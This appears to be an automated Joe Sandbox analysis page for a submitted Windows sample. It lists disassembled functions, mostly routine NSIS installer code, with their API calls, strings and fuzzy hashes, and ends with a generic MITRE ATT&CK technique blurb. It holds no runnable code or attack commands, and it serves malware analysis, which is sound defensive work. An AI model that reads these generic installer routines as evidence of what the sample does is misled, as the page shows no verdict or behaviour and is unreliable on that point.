Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

